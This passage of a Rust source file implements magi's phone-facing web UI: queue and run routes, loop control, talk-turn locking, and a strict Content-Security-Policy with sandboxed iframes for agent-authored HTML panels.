Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, talk, updater};
126
127/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
128pub const DEFAULT_PORT: u16 = 7878;
129
130/// How often the change stream restats the queue and the runs directory.
131const POLL: Duration = Duration::from_secs(1);
132
133/// Keep-alive interval for the change stream. Phones and intermediaries drop
134/// an idle connection within a minute; a comment every fifteen seconds keeps
135/// the stream alive without waking the radio often enough to matter.
136const KEEPALIVE: Duration = Duration::from_secs(15);
137
138/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
139///
140/// A fixed period this long would not track a `[update] interval` shorter
141/// than itself: an operator who set `interval = "1m"` to make the deck
142/// notice a release within a minute would still wait up to fifteen of them
143/// for the next wake-up to even ask [`updater::Checker::should_check`].
144/// [`recheck_poll_period`] scales the sleep with the configured interval
145/// instead, and this is only its ceiling - reached at the default interval
146/// of a day, where waking any more often would just spend cycles asking a
147/// question that stays "no" for hours.
148const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150/// Floor on the same, so a very short `[update] interval` cannot spin
151/// [`run_update_recheck`] in a near-busy loop.
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154/// Runs returned when the client does not ask, and the ceiling if it asks for
155/// more. The cap exists because the list handler parses every `run.json` it
156/// returns, and a phone cannot render two thousand rows anyway.
157const LIST_DEFAULT: usize = 50;
158/// Upper bound for `?limit=`.
159const LIST_MAX: usize = 500;
160
161/// Width of a generated task title, matching what the CLI uses.
162const TITLE_MAX: usize = 72;
163
164/// Per-file cap for an attachment upload.
165///
166/// Enforced twice: axum's own body limit is raised one byte above this, only
167/// on the two attachment `POST` routes (see the router - every other route
168/// keeps the crate-wide default), so an oversize body is still read far
169/// enough to answer with our own message below rather than axum's generic
170/// one; this constant is what that message and the boundary check actually
171/// compare against.
172const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174/// The image types an attachment upload accepts - a closed whitelist, the
175/// same posture [`asset_content_type`] takes for panel assets and for the
176/// same reason: SVG is excluded on purpose because it is active content
177/// (it may carry `<script>`) and not merely a picture, so it never appears
178/// here even though `image/svg+xml` is a real IANA type.
179const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181/// Header carrying the operator's own filename. Free text, stored only for
182/// display - see [`talk::Attachment::name`]'s doc on why it never
183/// contributes to a path.
184const FILENAME_HEADER: &str = "x-filename";
185
186/// The header that makes serving agent-authored HTML defensible, sent by both
187/// panel routes and asserted verbatim by a test.
188///
189/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
190/// denies every fetch destination that is not re-allowed below, which is all of
191/// them except images and fonts; `img-src 'self' data:` means an image comes
192/// from magi's own asset route or from the document itself, so a panel cannot
193/// signal an outside server by pointing an `<img>` at it - the classic
194/// exfiltration channel for markup that cannot run script. `style-src
195/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
196/// free formatting means here and a style sheet cannot make a request that
197/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
198/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
199/// stops a form posting the owner's decision to a third party, and
200/// `frame-ancestors 'self'` stops another site framing the panel to phish with
201/// it.
202///
203/// There is deliberately no `script-src`: `default-src 'none'` already covers
204/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
205/// denied twice over. Weakening any directive here is the difference between a
206/// panel the owner reads and a page that can talk to the tailnet, which is why
207/// the test compares the whole string rather than looking for a substring.
208const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209                         font-src data:; base-uri 'none'; form-action 'none'; \
210                         frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216/// Which address to listen on.
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219    /// Ask Tailscale, and fall back to loopback with a warning.
220    Auto,
221    /// An address the operator named.
222    Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226    type Err = String;
227
228    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
229    /// the CLI can take `--bind` straight into it: the one spelling of
230    /// `auto` that matters is the one this function knows.
231    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232        if s.eq_ignore_ascii_case("auto") {
233            return Ok(Self::Auto);
234        }
235        s.parse()
236            .map(Self::Addr)
237            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238    }
239}
240
241impl std::fmt::Display for Bind {
242    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243        match self {
244            Self::Auto => f.write_str("auto"),
245            Self::Addr(addr) => write!(f, "{addr}"),
246        }
247    }
248}
249
250/// How to serve.
251#[derive(Debug, Clone)]
252pub struct Opts {
253    /// Address to listen on.
254    pub bind: Bind,
255    /// Port to listen on.
256    pub port: u16,
257    /// Repository used for tasks posted without one.
258    pub repo: PathBuf,
259    /// Print the URL on its own line for a caller that wants to hand it to a
260    /// browser. magi never launches one itself.
261    pub open: bool,
262    /// Merge mode override for the loop this process runs (`none`, `local`,
263    /// `pr`); `None` leaves it to each repository's own config.
264    ///
265    /// The same override `magi serve --merge` takes, and here for the same
266    /// reason: `magi web` is now the thing that runs the loop, so an operator
267    /// who wants this session's runs to open pull requests has to be able to
268    /// say so without going back to the command they no longer type.
269    pub merge: Option<String>,
270}
271
272impl Default for Opts {
273    fn default() -> Self {
274        Self {
275            bind: Bind::Auto,
276            port: DEFAULT_PORT,
277            repo: PathBuf::from("."),
278            open: false,
279            merge: None,
280        }
281    }
282}
283
284/// Everything the handlers touch.
285///
286/// The queue, the runs directory and the magi home are fields rather than
287/// process-global lookups so a test drives the real router against a temp
288/// directory instead of the operator's own history.
289#[derive(Debug, Clone)]
290pub struct Ui {
291    queue: Queue,
292    questions: Questions,
293    /// `<home>/notifications`, the bell's own store. Derived from `home` in
294    /// [`Ui::new`] so no constructor signature had to grow.
295    notices: Notices,
296    talks: Talks,
297    runs: PathBuf,
298    home: PathBuf,
299    repo: PathBuf,
300    /// Where the runs' worktrees live, for the health disk figures.
301    ///
302    /// Spelled independently of [`crate::run::default_worktree_root`] so the
303    /// test servers can point it at their own temp directory: the health route
304    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
305    /// be measuring the machine instead of the server.
306    worktrees_root: PathBuf,
307    /// Talks with an agent turn in flight right now.
308    ///
309    /// In-process and therefore not durable, which is correct: it guards
310    /// against two taps on one phone and two phones on one tailnet, both of
311    /// which are this process's own concurrency. A second `magi web` would not
312    /// see it, and a second `magi web` on the same home is already a
313    /// misconfiguration the queue's claims would catch first.
314    talk_turns: Arc<Mutex<TalkTurns>>,
315    /// Runs this process is resuming right now.
316    ///
317    /// Separate from `talk_turns` because a run and a talk are different
318    /// things to hold, and a resume is far more expensive to start twice: it
319    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
320    /// guards two taps and two phones, which is this process's own
321    /// concurrency.
322    resuming: Arc<Mutex<HashSet<String>>>,
323    /// The last scan of `[repos] roots`, and when it happened. Shared across
324    /// requests so polling `GET /api/repos` repeatedly does not repeat the
325    /// filesystem walk every time - see [`repos::Cache`].
326    repos_cache: repos::Cache,
327    /// Merge mode override handed to the loop this process starts.
328    merge: Option<String>,
329    /// The loop this process is running, if it is running one.
330    looping: Arc<Mutex<LoopState>>,
331    /// How a loop is actually started.
332    ///
333    /// A field rather than a direct call to [`daemon::serve_until`], because
334    /// the real loop resolves its queue and its status file through the
335    /// process-global magi home and claims whatever it finds there. A test
336    /// that started it would reach straight past its own temp directory into
337    /// the operator's live queue, overwrite the status file of the `magi
338    /// serve` that owns it, and spend real agent quota on a real competition.
339    /// What the routes have to get right is the bookkeeping, so the tests
340    /// drive the routes against a loop that only starts and stops; production
341    /// is [`launch_daemon`] and nothing reassigns it.
342    launch: Launch,
343    /// A test-only stop point inside `talk_say`'s busy branch. See
344    /// [`BusyQueueGate`].
345    #[cfg(test)]
346    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349/// A one-shot stop point the busy branch's queued-draft write can be made to
350/// pause at, right before [`talk::queue`] runs.
351///
352/// Exists because a test cannot otherwise pin *when*, relative to the turn
353/// slot being freed, that write happens: `blocking` runs it on
354/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
355/// already finished, so counting polls on the handler future to park it at a
356/// particular `.await` is a guess about scheduling, not a fact about it - see
357/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
358/// used to do exactly that and paid for it with an occasional "async fn
359/// resumed after completion" panic under load.
360///
361/// `reached` fires the instant the write is about to run, so a test waits for
362/// a real event instead of a poll count. `release` then blocks the write
363/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
364/// rather than an async channel because this all happens inside the
365/// `spawn_blocking` closure the write already runs on, off any runtime
366/// worker, so blocking here costs nothing the write was not already going to
367/// cost.
368#[cfg(test)]
369struct BusyQueueGate {
370    reached: tokio::sync::oneshot::Sender<()>,
371    release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378    }
379}
380
381impl Ui {
382    /// A server over explicit paths.
383    pub fn new(
384        queue: Queue,
385        questions: Questions,
386        talks: Talks,
387        runs: PathBuf,
388        home: PathBuf,
389        repo: PathBuf,
390    ) -> Self {
391        Self {
392            queue,
393            questions,
394            notices: Notices::at(home.join("notifications")),
395            talks,
396            runs,
397            home,
398            repo,
399            // The default location, overridden by `with_worktrees_root` - a
400            // builder step rather than a ninth parameter, for the reason
401            // `with_merge` gives.
402            worktrees_root: run::default_worktree_root(),
403            talk_turns: Arc::default(),
404            resuming: Arc::default(),
405            repos_cache: repos::Cache::new(),
406            merge: None,
407            looping: Arc::default(),
408            launch: launch_daemon,
409            #[cfg(test)]
410            busy_queue_gate: Arc::default(),
411        }
412    }
413
414    /// The operator's own state: `<home>/queue`, `<home>/questions`,
415    /// `<home>/talks`, `<home>/runs`.
416    pub fn open(repo: PathBuf) -> Self {
417        Self::new(
418            Queue::open(),
419            Questions::open(),
420            Talks::open(),
421            run::runs_root(),
422            run::home(),
423            repo,
424        )
425    }
426
427    /// The merge mode the loop should use, as the command line gave it.
428    ///
429    /// A builder step rather than a seventh parameter on [`Ui::new`], because
430    /// the override is a property of how this process was invoked and not of
431    /// where its state lives - which is all the tests that build a `Ui` by
432    /// hand are saying.
433    #[must_use]
434    pub fn with_merge(mut self, merge: Option<String>) -> Self {
435        self.merge = merge;
436        self
437    }
438
439    /// Where the runs' worktrees live, when it is not the default.
440    ///
441    /// The health view sizes this directory, so a test that leaves it at the
442    /// default would be measuring the operator's own machine.
443    #[must_use]
444    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445        self.worktrees_root = root;
446        self
447    }
448
449    /// Point the loop at something other than [`launch_daemon`].
450    ///
451    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
452    /// this crate may start the real loop.
453    #[cfg(test)]
454    #[must_use]
455    fn with_launch(mut self, launch: Launch) -> Self {
456        self.launch = launch;
457        self
458    }
459
460    /// Install a [`BusyQueueGate`] for the next pass through the busy
461    /// branch's queued-draft write, replacing any earlier one.
462    ///
463    /// A setter on `&self` rather than a `with_*` builder consumed once,
464    /// because a test that drives the busy branch more than once (as
465    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
466    /// to build confidence the interleaving is handled deterministically and
467    /// not just on a lucky run) needs a fresh channel pair each time, on the
468    /// one `Ui` it already built its temp directories around.
469    #[cfg(test)]
470    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471        *self
472            .busy_queue_gate
473            .lock()
474            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475    }
476
477    /// The loop's state, for [`serve`]'s own way out.
478    fn looping(&self) -> Arc<Mutex<LoopState>> {
479        Arc::clone(&self.looping)
480    }
481
482    /// Start the loop in this process, or say who already has one.
483    ///
484    /// `foreign` is passed in rather than read here so that one request makes
485    /// one judgement about who owns the loop: reading the status file again
486    /// inside this function could refuse a start for a daemon the same
487    /// response then reports as gone.
488    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489        if let Some(other) = foreign {
490            return Err(ApiError::conflict(format!(
491                "{} is already running the loop, so this one will not start a \
492                 second: two loops on one queue race for the same claims and \
493                 burn the agent quota twice over. Stop it where it was \
494                 started.",
495                other.who()
496            )));
497        }
498        let mut state = self.lock_loop();
499        if state.live.as_ref().is_some_and(Live::alive) {
500            return Err(ApiError::conflict(format!(
501                "this magi web process (pid {}) is already running the loop",
502                std::process::id()
503            )));
504        }
505
506        let stop = daemon::Stop::new();
507        // The CLI's own defaults for everything the UI has no opinion about:
508        // one poll interval and one retry budget, so a loop started from a
509        // phone behaves exactly like the `magi serve` it replaces.
510        let opts = daemon::Opts {
511            repo: self.repo.clone(),
512            merge: self.merge.clone(),
513            // Whatever this `Ui` already reports worktree sizes and folds
514            // against (see `with_worktrees_root`) is what the loop it starts
515            // must reclaim orphaned worktrees under too - two different
516            // opinions about where the worktree bay is would leave the
517            // janitor pass reclaiming a directory nothing else on this
518            // process is even looking at.
519            worktrees_root: Some(self.worktrees_root.clone()),
520            ..daemon::Opts::default()
521        };
522        let launch = self.launch;
523        let looping = Arc::clone(&self.looping);
524        let handle = tokio::spawn({
525            let opts = opts.clone();
526            let stop = stop.clone();
527            async move {
528                let failure = match launch(opts, stop).await {
529                    Ok(()) => None,
530                    Err(e) => Some(format!("{e:#}")),
531                };
532                match &failure {
533                    Some(why) => tracing::error!("the loop stopped: {why}"),
534                    None => tracing::info!("the loop stopped"),
535                }
536                // Recorded by the task itself rather than reaped by whichever
537                // request happens next, so `loop_rev` moves the moment the
538                // loop ends and a phone with the change stream open learns
539                // that it did. Clearing `live` drops this task's own handle,
540                // which only detaches it, and is the last thing it does.
541                let mut state = lock_or_recover(&looping);
542                state.live = None;
543                state.last_error = failure;
544                state.rev += 1;
545            }
546        });
547        tracing::info!(
548            "the loop is now running in this process: repo {}, merge {}",
549            opts.repo.display(),
550            opts.merge.as_deref().unwrap_or("as the config says")
551        );
552        state.live = Some(Live { stop, handle, opts });
553        // A fresh start is not the place to keep showing why the last one
554        // died; the operator has read it and pressed the button anyway.
555        state.last_error = None;
556        state.rev += 1;
557        Ok(())
558    }
559
560    /// Ask the loop to stop, without waiting for it to get there.
561    ///
562    /// Idempotent: a second tap on stop is not an error, because the first one
563    /// leaves the loop running for as long as the run in flight takes and the
564    /// operator has no way to tell a slow stop from a lost one.
565    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566        if let Some(other) = foreign {
567            return Err(ApiError::conflict(format!(
568                "the loop belongs to {}, and this process cannot stop it - \
569                 stop it where it was started. A button that silently did \
570                 nothing would be worse than this refusal.",
571                other.who()
572            )));
573        }
574        let mut state = self.lock_loop();
575        let Some(live) = state.live.as_ref() else {
576            return Ok(());
577        };
578        // A park upgrades a stop that has already been asked for: the
579        // operator who tapped "stop" and then realised the run has an hour
580        // left must not have to restart the loop to change their mind.
581        if live.stop.stopped() && (!park || live.stop.parking()) {
582            return Ok(());
583        }
584        if park {
585            live.stop.park();
586            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
587        } else {
588            live.stop.stop();
589            tracing::info!("the loop was asked to stop; a run in flight is finished first");
590        }
591        state.rev += 1;
592        Ok(())
593    }
594
595    /// The loop as both `/api/loop` and `/api/health` report it.
596    ///
597    /// `reading` is the caller's single read of `<home>/daemon.json`, because
598    /// health answers with this view *and* the daemon object beside it: one
599    /// read per response is what stops a single answer naming a foreign owner
600    /// in one field and calling the loop free in the other.
601    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
602        let state = self.lock_loop();
603        // A loop that panicked never recorded its own end, so the handle -
604        // not the presence of the record - is what "running" means.
605        let live = state.live.as_ref().filter(|live| live.alive());
606        LoopView {
607            running: live.is_some(),
608            stopping: live.is_some_and(|live| live.stop.finishing()),
609            parking: live.is_some_and(|live| live.stop.parking()),
610            owned: live.is_some(),
611            repo: live
612                .map_or(&self.repo, |live| &live.opts.repo)
613                .display()
614                .to_string(),
615            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
616            last_error: state.last_error.clone(),
617            daemon: DaemonView::of(reading),
618        }
619    }
620
621    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
622    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
623        lock_or_recover(&self.looping)
624    }
625
626    /// Whether this process currently owns the agent turn for `id`.
627    ///
628    /// This deliberately describes only the in-memory claim made by
629    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
630    /// never persisted with a [`Talk`].
631    fn is_thinking(&self, id: &str) -> bool {
632        self.talk_turns
633            .lock()
634            .is_ok_and(|turns| turns.live.contains(id))
635    }
636
637    /// Claim the right to run one turn in a talk, or report that it is busy.
638    ///
639    /// A talk is strictly turn-based: the agent is resumed with the
640    /// conversation it already has, so two turns running at once would resume
641    /// the same session twice and append their answers in whatever order the
642    /// two CLIs finished in. The operator would come back to a transcript
643    /// with two half-turns interleaved, which is unreadable and, worse,
644    /// unfixable - there is no undo for a persisted turn.
645    ///
646    /// A busy result is queued as a durable draft by [`talk_say`], rather than
647    /// starting a second CLI invocation for the same session.
648    ///
649    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
650    /// taken to test-and-insert and released before the agent is spawned. The
651    /// returned guard removes the id on drop, which is what makes a panicking
652    /// handler or a phone that walks out of range leave the talk usable - axum
653    /// drops the handler future when the client disconnects, and without the
654    /// guard that talk would be wedged until the server restarted.
655    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
656        self.claim_talk_turn(id, false)
657    }
658
659    /// Claim a turn after durably queueing a draft, or notify its current
660    /// owner that a drainer must recheck before it releases the slot.
661    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
662        self.claim_talk_turn(id, true)
663    }
664
665    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
666        let mut live = self
667            .talk_turns
668            .lock()
669            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
670        if !live.live.insert(id.to_owned()) {
671            if queued {
672                // A queued write has landed before this busy check.
673                // `drain_loop` uses this generation to recheck after its
674                // off-thread disk read, so it cannot release a turn between
675                // this check and the write.
676                *live.queued.entry(id.to_owned()).or_default() += 1;
677            }
678            return Ok(None);
679        }
680        Ok(Some(TalkTurnGuard {
681            talk: id.to_owned(),
682            turns: Arc::clone(&self.talk_turns),
683            released: false,
684        }))
685    }
686
687    /// Decide whether a free talk may start a new immediate turn while its
688    /// claim lock is held. A persisted draft without an owner is recovery
689    /// state, not a busy turn: two simultaneous `/say` requests must both
690    /// leave it untouched rather than one of them appending to it.
691    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
692        let mut live = self
693            .talk_turns
694            .lock()
695            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
696        if live.live.contains(id) {
697            return Ok(TalkTurnStart::Busy);
698        }
699        let talk = self.talks.get(id).map_err(ApiError::from)?;
700        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
701            return Ok(TalkTurnStart::Pending);
702        }
703        live.live.insert(id.to_owned());
704        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
705            talk: id.to_owned(),
706            turns: Arc::clone(&self.talk_turns),
707            released: false,
708        }))
709    }
710
711    /// Park the loop for an upgrade, and report the run that is parking.
712    ///
713    /// A park rather than a stop: a stop waits out the whole competition, and
714    /// not waiting is the point of upgrading from a phone. `None` means
715    /// nothing was in flight, which is worth saying so the operator is not
716    /// told a run is parking when none is.
717    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
718        let parking = {
719            let mut state = self.lock_loop();
720            let Some(live) = state.live.as_ref() else {
721                return Ok(None);
722            };
723            let busy = live.stop.busy_now();
724            live.stop.park();
725            state.rev += 1;
726            busy
727        };
728        Ok(if parking {
729            // More than one run can be in flight now (see
730            // `Config::daemon.max_concurrent_runs`); this answer names one of
731            // them so the operator sees a park actually happened, not every
732            // run a park now asks to stop at its next boundary.
733            daemon::current_work(&self.home, jiff::Timestamp::now())
734                .into_iter()
735                .next()
736                .map(|c| c.run)
737        } else {
738            None
739        })
740    }
741
742    /// Claim a run for a resume, on the same reasoning as
743    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
744    /// disconnected phone does not wedge the run until the server restarts.
745    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
746        let mut live = self
747            .resuming
748            .lock()
749            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
750        if !live.insert(id.to_owned()) {
751            return Err(ApiError::conflict(format!(
752                "run {id} is already being resumed"
753            )));
754        }
755        Ok(ResumeGuard {
756            run: id.to_owned(),
757            resuming: Arc::clone(&self.resuming),
758        })
759    }
760
761    /// The router, with this state baked in.
762    ///
763    /// The three front-end files get one explicit route each rather than a
764    /// path parameter, so there is no traversal surface to get wrong: the set
765    /// of servable paths is the set written here. The asset route below is the
766    /// one exception and the only place in this server where a client names a
767    /// file; it is why [`valid_asset_name`] is checked before a path is built.
768    pub fn router(self) -> Router {
769        Router::new()
770            .route("/", get(index))
771            .route("/app.css", get(app_css))
772            .route("/app.js", get(app_js))
773            .route("/api/health", get(health))
774            .route("/api/loop", get(loop_get).post(loop_post))
775            .route("/api/upgrade", post(upgrade_post))
776            .route("/api/runs", get(runs_list))
777            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
778            .route("/api/runs/{id}/report", get(run_report))
779            .route("/api/runs/{id}/fold", post(run_fold))
780            .route("/api/runs/{id}/resume", post(run_resume))
781            .route("/api/queue", get(queue_list))
782            .route("/api/queue/{id}", delete(queue_delete))
783            .route("/api/repos", get(repos_list))
784            .route("/api/queue/{id}/hold", post(queue_hold))
785            .route("/api/queue/{id}/release", post(queue_release))
786            .route("/api/queue/{id}/priority", post(queue_priority))
787            .route("/api/queue/{id}/edit", post(queue_edit))
788            .route("/api/queue/{id}/done", post(queue_done))
789            .route("/api/questions", get(questions_list))
790            .route("/api/questions/{id}/answer", post(question_answer))
791            .route("/api/questions/{id}/say", post(question_say))
792            .route("/api/questions/{id}/panel", get(question_panel))
793            // The same asset, reachable from inside the panel by its bare
794            // filename. A document served at `.../panel` resolves `shot.png`
795            // to `.../shot.png`, which is not the asset route, so a panel
796            // written the way its author was told to write it showed broken
797            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
798            // it - deliberately - so the fix is that the panel's own URL ends
799            // in a filename and its siblings are the assets.
800            .route("/api/questions/{id}/panel/index.html", get(question_panel))
801            .route("/api/questions/{id}/panel/{name}", get(question_asset))
802            .route("/api/questions/{id}/asset/{name}", get(question_asset))
803            .route("/api/notifications", get(notifications_list))
804            .route("/api/notifications/read-all", post(notifications_read_all))
805            .route("/api/notifications/{id}/read", post(notification_read))
806            .route(
807                "/api/notifications/{id}/dismiss",
808                post(notification_dismiss),
809            )
810            .route("/api/talks", get(talks_list).post(talk_post))
811            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
812            .route("/api/talks/{id}/say", post(talk_say))
813            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
814            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
815            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
816            .route("/api/talks/{id}/close", post(talk_close))
817            .route("/api/talks/{id}/reopen", post(talk_reopen))
818            // `DefaultBodyLimit` is raised only on this one route - every
819            // other route on this server answers in a few kilobytes, and
820            // widening the crate-wide default for all of them just because
821            // one accepts a picture would let any other handler be handed
822            // a multi-megabyte body it never expects.
823            .route(
824                "/api/talks/{id}/attachments",
825                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
826            )
827            .route(
828                "/api/talks/{id}/attachments/{att}",
829                get(talk_attachment_get),
830            )
831            .route("/api/events", get(events))
832            .with_state(Arc::new(self))
833    }
834}
835
836/// One talk's turn slot, released on drop.
837///
838/// A guard rather than a matching `remove` at the end of the handler, because
839/// the handler has several early returns and one `await` that can be cancelled
840/// out from under it. A leaked id is a talk nobody can talk to again.
841#[derive(Debug)]
842struct TalkTurnGuard {
843    talk: String,
844    turns: Arc<Mutex<TalkTurns>>,
845    released: bool,
846}
847
848/// In-memory turn ownership plus the queue generation observed by a drainer.
849///
850/// The generation changes only after a durable queued draft is written and its
851/// caller finds the turn busy. That lets the loop run filesystem work outside
852/// this mutex while still making the final empty-check/release atomic with a
